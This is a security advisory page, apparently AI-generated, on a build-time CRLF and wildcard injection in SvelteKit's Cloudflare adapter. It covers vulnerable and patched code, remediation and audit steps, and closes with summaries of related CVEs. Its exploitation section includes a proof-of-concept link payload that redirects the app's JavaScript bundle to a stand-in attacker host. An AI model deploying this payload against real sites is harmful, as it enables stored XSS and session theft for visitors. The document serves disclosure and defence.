CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-128122

CVE-2026-128122: Prerendered Redirect Rule Injection in @sveltejs/adapter-cloudflare

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 14, 2026·10 min read·2 visits

Executive Summary (TL;DR)

Unsanitized prerendered redirect paths in `@sveltejs/adapter-cloudflare` allow attackers to inject arbitrary routing rules into Cloudflare `_redirects` and `_routes.json` files via CRLF sequences and wildcards, leading to JavaScript bundle hijacking and Stored XSS.

CVE-2026-128122 (GHSA-5wg4-q3ww-283h) is a build-time CRLF and wildcard injection vulnerability in `@sveltejs/adapter-cloudflare`. During the prerendering phase of a SvelteKit build, the adapter writes crawled redirect paths directly into the Cloudflare `_redirects` and `_routes.json` configuration files without output encoding or character validation. An attacker capable of controlling link paths on prerendered pages can inject newline characters, spaces, or wildcard patterns to forge arbitrary edge redirection rules, enabling asset hijacking and Stored Cross-Site Scripting (XSS).

Vulnerability Overview

@sveltejs/adapter-cloudflare is an official SvelteKit adapter package that compiles SvelteKit applications into deployment artifacts for Cloudflare Pages and Cloudflare Workers. During the svelte-kit build lifecycle, SvelteKit executes a prerendering crawler that traverses pages marked for static generation. When the crawler encounters an HTTP redirect on a prerendered route, it stores the source pathname, destination URL, and HTTP status code in a collection exposed to the adapter (builder.prerendered.redirects).

In @sveltejs/adapter-cloudflare versions 4.7.0 through 7.2.9 and 8.0.0-next.0 through 8.0.1, the adapter translates this redirect collection into Cloudflare edge routing rules inside the _redirects output file and excludes prerendered paths in the _routes.json configuration file. The adapter writes these values using direct string interpolation without encoding whitespace, control characters, or platform-specific syntax tokens.

This flaw combines multiple weakness classes: CWE-93 (Improper Neutralization of CRLF Sequences), CWE-116 (Improper Encoding or Escaping of Output), and CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the _redirects format relies on newline characters to separate rules and ASCII spaces to delimit rule arguments, any unencoded control characters present in a crawled URL path alter the structure of the generated configuration file.

If an application renders links derived from untrusted or user-controlled sources on a prerendered page, an attacker can craft a link containing embedded carriage returns, line feeds, or wildcard tokens. When the build pipeline crawls this link and hits a redirect handler, the resulting build artifact incorporates attacker-defined routing directives that execute at the Cloudflare CDN edge.

Root Cause Analysis

Cloudflare Pages and Cloudflare Workers Static Assets evaluate redirection rules defined in a plain-text _redirects file located at the root of the build output directory. The file syntax is strictly line-oriented and token-delimited by standard ASCII whitespace:

<source_path> <target_destination> [http_status_code]

Each line represents a distinct routing instruction. In addition to literal path matching, the Cloudflare parser evaluates asterisk characters (*) as splat wildcards and colon-prefixed identifiers (:placeholder) as dynamic path segment captures. Similarly, Cloudflare Pages uses a _routes.json file containing include and exclude arrays (which also interpret * wildcards) to determine whether incoming requests are handled by the static asset server or routed to a Cloudflare Worker function.

The root cause of CVE-2026-128122 is a mismatch between how SvelteKit's internal prerender crawler handles URL paths and how @sveltejs/adapter-cloudflare serializes them. During prerendering, SvelteKit resolves relative links found in HTML <a> tags against the internal application router. If a link points to a dynamic route that issues a redirect (such as an authentication guard or a canonical URL normalizer), SvelteKit records the raw, unencoded pathname in the builder.prerendered.redirects map.

When generate_redirects() in @sveltejs/adapter-cloudflare iterates over this map, it constructs each rule as ${path} ${redirect.location} ${redirect.status} and joins the array with \n. No validation or escaping is performed on path or redirect.location prior to serialization:

  1. Line Termination Injection: If path contains \r or \n, the string breaks out of the current rule definition and starts a new line in _redirects.
  2. Token Delimiter Injection: If path contains spaces (0x20) or tabs (0x09), the Cloudflare parser splits the source path prematurely, interpreting the second segment of the path as the <target_destination> and the third segment as the [http_status_code].
  3. Wildcard & Placeholder Evaluation: If path contains * or :param, Cloudflare compiles the rule as a pattern matcher rather than an exact string match, causing the edge router to intercept traffic intended for sibling or child routes.
  4. _routes.json Route Exclusion Poisoning: When expanding the <prerendered> token in get_routes_json(), the adapter copies all paths from builder.prerendered.paths into the exclude array of _routes.json. A prerendered path containing a wildcard (*) causes Cloudflare Pages to bypass Worker invocation for all matching URLs.

Code Analysis

Prior to the patch, the redirect serialization logic resided in packages/adapter-cloudflare/index.js. The generate_redirects function mapped over the redirects entries and concatenated the raw values directly into the template block:

// Vulnerable code in packages/adapter-cloudflare/index.js
function generate_redirects(redirects) {
	const rules = Array.from(
		redirects.entries(),
		// VULNERABILITY: Raw interpolation of 'path' and 'redirect.location'
		// allows newline, whitespace, and wildcard injection.
		([path, redirect]) => `${path} ${redirect.location} ${redirect.status}`
	).join('\n');
 
	return `
# === START AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
${rules}
# === END AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
`.trimEnd();
}

Similarly, get_routes_json inserted prerendered paths directly into the exclusion set without checking for wildcard characters:

// Vulnerable code in packages/adapter-cloudflare/index.js
if (rule === '<prerendered>') {
	for (const path of builder.prerendered.paths) {
		// VULNERABILITY: Paths containing '*' exclude entire route trees
		// from invoking the Cloudflare Worker.
		excluded_routes.add(path);
	}
	continue;
}

Commits 679e0d84ea9951bb4f1e458a599066b5a451b08a and 0a2e58cbccdd46cac20aa5af4e2edf17e0da11dd (PR #17620) refactored generate_redirects into packages/adapter-cloudflare/utils.js and introduced strict filtering and percent-encoding:

// Patched code in packages/adapter-cloudflare/utils.js
export function generate_redirects(redirects, log) {
	/** @type {string[]} */
	const rules = [];
 
	for (const [path, redirect] of redirects) {
		// FIX 1: Reject paths containing splats (*) or placeholders (:param)
		if (has_wildcard(path)) {
			log.warn(
				`Skipping _redirects rule for prerendered redirect ${JSON.stringify(path)} because its path contains characters that would match other paths. The prerendered redirect page will be served instead`
			);
			continue;
		}
 
		// FIX 2: Percent-encode ASCII control chars (0x00-0x20), spaces, URL delimiters,
		// and non-ASCII characters in both source and destination.
		const from = path.replace(/[\0-\x20"#<>?^`{}\x7f-\u{10ffff}]/gu, encodeURIComponent);
		const to = redirect.location.replace(/[\0-\x20\x7f-\u{10ffff}]/gu, encodeURIComponent);
 
		rules.push(`${from} ${to} ${redirect.status}`);
	}
 
	if (rules.length === 0) return '';
 
	return `
# === START AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
${rules.join('\n')}
# === END AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
`.trimEnd();
}
 
function has_wildcard(path) {
	return path.includes('*') || /:[A-Za-z]/.test(path);
}

The get_routes_json function was also updated to filter out wildcard paths using the same has_wildcard(path) helper:

// Patched code in packages/adapter-cloudflare/index.js
if (rule === '<prerendered>') {
	// paths with wildcards are left to the Worker, which serves prerendered paths by exact match
	for (const path of builder.prerendered.paths) {
		if (!has_wildcard(path)) excluded_routes.add(path);
	}
	continue;
}

> [!NOTE] > Fix Completeness Assessment: The regular expression /[\0-\x20"#<>?^{}\x7f-\u{10ffff}]/gucovers all standard ASCII control characters (including\rat0x0d, \nat0x0a, and space at 0x20) as well as Unicode line terminators (\u2028and\u2029, which fall within \x7f-\u{10ffff}). Because Cloudflare _redirectsdoes not support an escape syntax for literal*or:identtokens, skipping_redirects` generation for those paths and falling back to SvelteKit's static HTML meta-refresh page (or exact matching in the Worker runtime) completely eliminates the wildcard collision vector without breaking valid routes.

Exploitation

Exploiting CVE-2026-128122 requires two primary prerequisites:

  1. The target SvelteKit application must prerender at least one page that renders links containing user-controlled path segments (for example, a blog comment section, user profile page, or CMS feed) AND has a wildcard/dynamic route handler (e.g., src/routes/account/[...rest]/+page.server.js) that returns an HTTP redirect.
  2. The application must be built using a vulnerable version of @sveltejs/adapter-cloudflare and deployed to Cloudflare Pages or Cloudflare Workers.

Attack Scenario 1: CRLF Injection for Client Asset Hijacking (Stored XSS)

Consider an application with a catch-all route /account/[...slug] that redirects unauthenticated requests (including the build-time prerender crawler) to /login with status 303. An attacker submits content containing the following relative hyperlink on a prerendered page:

<a href="/account/x /&#10;/_app/immutable/entry/start.js https://attacker.example/malicious.js 302&#10;/zz">Profile</a>

During svelte-kit build, the crawler parses the href attribute, decodes the HTML entities into literal newline characters (\n), and requests the internal route. The route handler responds with a 303 redirect to /login. The adapter then writes the unescaped path into _redirects:

# === START AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===
/account/x /
/_app/immutable/entry/start.js https://attacker.example/malicious.js 302
/zz /login 303
# === END AUTOGENERATED SVELTE PRERENDERED REDIRECTS ===

Once deployed, the injected second line instructs the Cloudflare edge to intercept requests for /_app/immutable/entry/start.js (or any predictable asset path) and return a 302 Found redirect pointing to https://attacker.example/malicious.js. Because standard <script type="module"> tags follow cross-origin redirects when CORS headers permit it, every visitor's browser loads and executes the attacker's JavaScript bundle within the application's origin context.

Attack Scenario 2: Wildcard Route Hijacking and Denial of Service

Without injecting newlines, an attacker can submit a link containing Cloudflare splat or placeholder syntax, such as /account/* or /account/:id. When crawled and written to _redirects as /account/* /login 303, Cloudflare intercepts all requests matching /account/* at the CDN edge—even if those sub-routes are dynamic server-rendered endpoints that should never redirect authenticated users. Furthermore, if /account/* is added to the exclude list in _routes.json, Cloudflare Pages ceases routing /account/* requests to the backend Worker altogether, resulting in 404 Not Found responses across the /account/ hierarchy.

Impact Assessment

The primary security impact of CVE-2026-128122 is high confidentiality loss via universal Stored Cross-Site Scripting (XSS) and session hijacking, reflected in its CVSS v3.1 score of 5.9 (Medium) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).

  • Attack Vector (AV:N) & Privileges Required (PR:N): The payload originates over the network from unauthenticated or low-privileged inputs (such as public content submissions or external data feeds) that are ingested during the build process.
  • Attack Complexity (AC:H): Exploitation depends on specific application architecture—specifically, the presence of prerendered pages that crawl untrusted links hitting a redirect route, followed by a build and deployment cycle.
  • Confidentiality Impact (C:H): By hijacking core client-side JavaScript bundles or API endpoints via 301/302 redirects, an attacker executes arbitrary code in the victim's browser session or forces the browser to forward sensitive request data to an external server. This enables theft of session tokens, authentication headers, and private user data.

Although the official CVSS vector scores Integrity (I:N) and Availability (A:N) as None with Scope Unchanged (S:U), practical exploitation of wildcard injection (* or :splat) into _redirects and _routes.json allows an attacker to blackhole dynamic Worker routes or redirect legitimate application pages to arbitrary destinations, degrading application availability and altering routing integrity until a clean build is deployed.

Remediation

To remediate CVE-2026-128122, upgrade @sveltejs/adapter-cloudflare to a patched release and rebuild and redeploy affected applications.

Patched Package Versions

  • For the 7.x release line (SvelteKit 2): Upgrade to @sveltejs/adapter-cloudflare@7.2.10 or later.
  • For the 8.x release line: Upgrade to @sveltejs/adapter-cloudflare@8.0.2 or later.
# Upgrade on the 7.x branch
npm install --save-dev @sveltejs/adapter-cloudflare@^7.2.10
 
# Upgrade on the 8.x branch
npm install --save-dev @sveltejs/adapter-cloudflare@^8.0.2

Build Artifact Auditing

Security teams should audit existing build outputs (.svelte-kit/cloudflare/_redirects and .svelte-kit/cloudflare/_routes.json) in CI/CD pipelines or active deployments to verify whether any unexpected rules were generated prior to upgrading:

  1. Inspect the block between # === START AUTOGENERATED SVELTE PRERENDERED REDIRECTS === and # === END AUTOGENERATED SVELTE PRERENDERED REDIRECTS === in _redirects.
  2. Confirm that every line inside this block contains exactly three space-separated tokens (<source> <destination> <status>) and does not contain * or :param patterns.
  3. Inspect the exclude array in _routes.json for unexpected entries containing * that do not correspond to intended static asset directories.

Workarounds

If immediate package upgrading is not possible:

  • Sanitize and URL-encode all dynamic href attributes rendered in Svelte templates so that raw control characters (\r, \n, spaces) and wildcards (*, :) cannot be followed by the prerender crawler.
  • Configure a post-build CI/CD check that validates or strips the autogenerated section of the _redirects file before deploying to Cloudflare.

Official Patches

SvelteGitHub Security Advisory GHSA-5wg4-q3ww-283h
SveltePull Request #17620 containing the fix and regression tests
SvelteRelease @sveltejs/adapter-cloudflare@7.2.10
SvelteRelease @sveltejs/adapter-cloudflare@8.0.2

Fix Analysis (2)

Technical Appendix

CVSS Score
5.9/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Affected Systems

@sveltejs/adapter-cloudflare (npm)SvelteKit applications deployed to Cloudflare Pages or Cloudflare Workers

Affected Versions Detail

Product
Affected Versions
Fixed Version
@sveltejs/adapter-cloudflare
Svelte
>= 4.7.0, < 7.2.107.2.10
@sveltejs/adapter-cloudflare
Svelte
>= 8.0.0-next.0, < 8.0.28.0.2
AttributeDetail
CVE IDCVE-2026-128122 (GHSA-5wg4-q3ww-283h)
Weakness ClassCWE-93 (CRLF Injection) / CWE-116 (Improper Output Encoding) / CWE-79 (XSS)
CVSS v3.1 Score5.9 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)
Affected Component@sveltejs/adapter-cloudflare (< 7.2.10, 8.0.0-next.0 - 8.0.1)
Attack VectorNetwork (Crafted links crawled during SvelteKit prerendering)
Primary ImpactArbitrary Cloudflare _redirects rule injection leading to asset hijacking and Stored XSS
Exploit StatusProof-of-Concept documented in advisory
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-93
Improper Neutralization of CRLF Sequences ('CRLF Injection')

The software uses CRLF (carriage return line feed) as a special element to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs, allowing attackers to inject arbitrary records or directives.

Vulnerability Timeline

Vulnerability identified and initial patch authored by Elliott Johnson
2026-10-27
Fix committed to upstream main repository (679e0d84ea9951bb4f1e458a599066b5a451b08a)
2026-10-29
Patch backported to v2 branch via PR #17620 (0a2e58cbccdd46cac20aa5af4e2edf17e0da11dd)
2026-11-05
GitHub Security Advisory GHSA-5wg4-q3ww-283h and CVE-2026-128122 published
2026-11-13

References & Sources

  • [1]CVE-2026-128122 Official CVE Record
  • [2]GitHub Security Advisory GHSA-5wg4-q3ww-283h
  • [3]SvelteKit Pull Request #17620
  • [4]Fix Commit on Main Branch (679e0d84ea9951bb4f1e458a599066b5a451b08a)
  • [5]Fix Commit on v2 Branch (0a2e58cbccdd46cac20aa5af4e2edf17e0da11dd)
  • [6]Release Notes: @sveltejs/adapter-cloudflare@7.2.10
  • [7]Release Notes: @sveltejs/adapter-cloudflare@8.0.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-126347
3.1

CVE-2026-126347: Open Redirect via Triple-Slash Redirect Paths in Tornado RedirectHandler

CVE-2026-126347 (GHSA-5cjw-f85j-cv6r) is an open redirect vulnerability (CWE-601) in Tornado, an asynchronous Python networking library and web framework. The flaw resides in tornado.web.RedirectHandler when dynamic URL redirection templates incorporate unvalidated user input. Due to a parser differential between RFC 3986 (used by Python's urllib.parse.urlsplit) and the WHATWG URL Standard (used by modern web browsers), inputs containing three or more leading slashes bypass Tornado 6.6.0's validation logic, allowing unauthenticated attackers to redirect users to arbitrary external domains.

Alon Barad
Alon Barad
1 views•11 min read
•about 2 hours ago•CVE-2026-128123
5.9

CVE-2026-128123: Uncaught Exception and Denial of Service in SvelteKit @sveltejs/adapter-node

A Denial of Service (DoS) vulnerability exists in @sveltejs/adapter-node versions 5.5.7 and 6.0.0-next.0 through 6.0.0. When a SvelteKit server route returns a direct response from a fetch() call with a Content-Type of text/event-stream, the Node.js adapter attempts to mutate the response headers to disable proxy buffering. Because headers returned directly by the WHATWG Fetch API carry an immutable guard, this mutation throws an unhandled TypeError, terminating the underlying Node.js process and denying service to all active and subsequent clients.

Alon Barad
Alon Barad
2 views•9 min read
•about 4 hours ago•CVE-2026-128121
5.9

CVE-2026-128121: Regular Expression Injection in SvelteKit Vercel Route Configuration via @sveltejs/adapter-vercel and @sveltejs/adapter-static

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) and CWE-625 (Permissive Regular Expression) exists in the @sveltejs/adapter-vercel and @sveltejs/adapter-static packages for SvelteKit. During the build-time prerendering phase, pathnames discovered by the SvelteKit link crawler are inserted into the generated Vercel routing configuration (.vercel/output/config.json) without escaping regular expression metacharacters. Because the Vercel edge routing engine evaluates the 'src' property of route entries as regular expressions, an attacker capable of injecting links into prerendered application content can introduce arbitrary regular expression syntax, hijacking application routing and exposing unintended assets or responses.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 5 hours ago•CVE-2026-128117
5.9

CVE-2026-128117: Unhandled URIError Denial of Service in SvelteKit Request Routing

CVE-2026-128117 (GHSA-mw6w-2fmv-pvw3) is a denial of service (DoS) vulnerability in SvelteKit (@sveltejs/kit) caused by an uncaught URIError exception during request routing. When an application implements a reroute hook that rewrites a request pathname containing invalid percent-encoding into a valid route, SvelteKit subsequently calls decode_pathname on the original unvalidated url.pathname outside of a try...catch block. In deployments utilizing @sveltejs/adapter-node, this unhandled exception terminates the Node.js runtime process.

Alon Barad
Alon Barad
3 views•9 min read
•about 6 hours ago•CVE-2026-126303
8.7

CVE-2026-126303: Uncontrolled Resource Consumption in NLTK SteppingRecursiveDescentParser

CVE-2026-126303 (GHSA-8fx7-8jr8-84rv) is an uncontrolled resource consumption vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. The flaw is located in the SteppingRecursiveDescentParser.parse() method within the nltk.parse.recursivedescent module. Because the parser executes a top-down recursive descent stepping loop without enforcing an execution time deadline or step limit, processing tokens against a left-recursive, self-embedding, or ambiguous Context-Free Grammar (CFG) causes the parser to enter an infinite loop. This results in complete CPU core exhaustion and worker thread starvation, leading to an application-level denial of service.

Alon Barad
Alon Barad
4 views•10 min read
•about 7 hours ago•CVE-2026-62683
3.1

CVE-2026-62683: Incorrect Authorization via Stale Public Shares in File Browser

File Browser versions prior to 2.63.17 contain an authorization and state-management flaw in the BoltDB storage backend. When an authenticated user deletes a shared directory via an HTTP request with a trailing slash (e.g., DELETE /api/resources/a/), the share cleanup routine queries the database index using the unnormalized path before stripping the trailing slash. Because canonical share paths are stored without trailing slashes (e.g., /a), the database prefix query fails to match the parent directory share record. If a directory with the same name is later recreated, the dormant public share hash automatically reactivates and exposes the new directory contents to unauthenticated users.

Alon Barad
Alon Barad
4 views•10 min read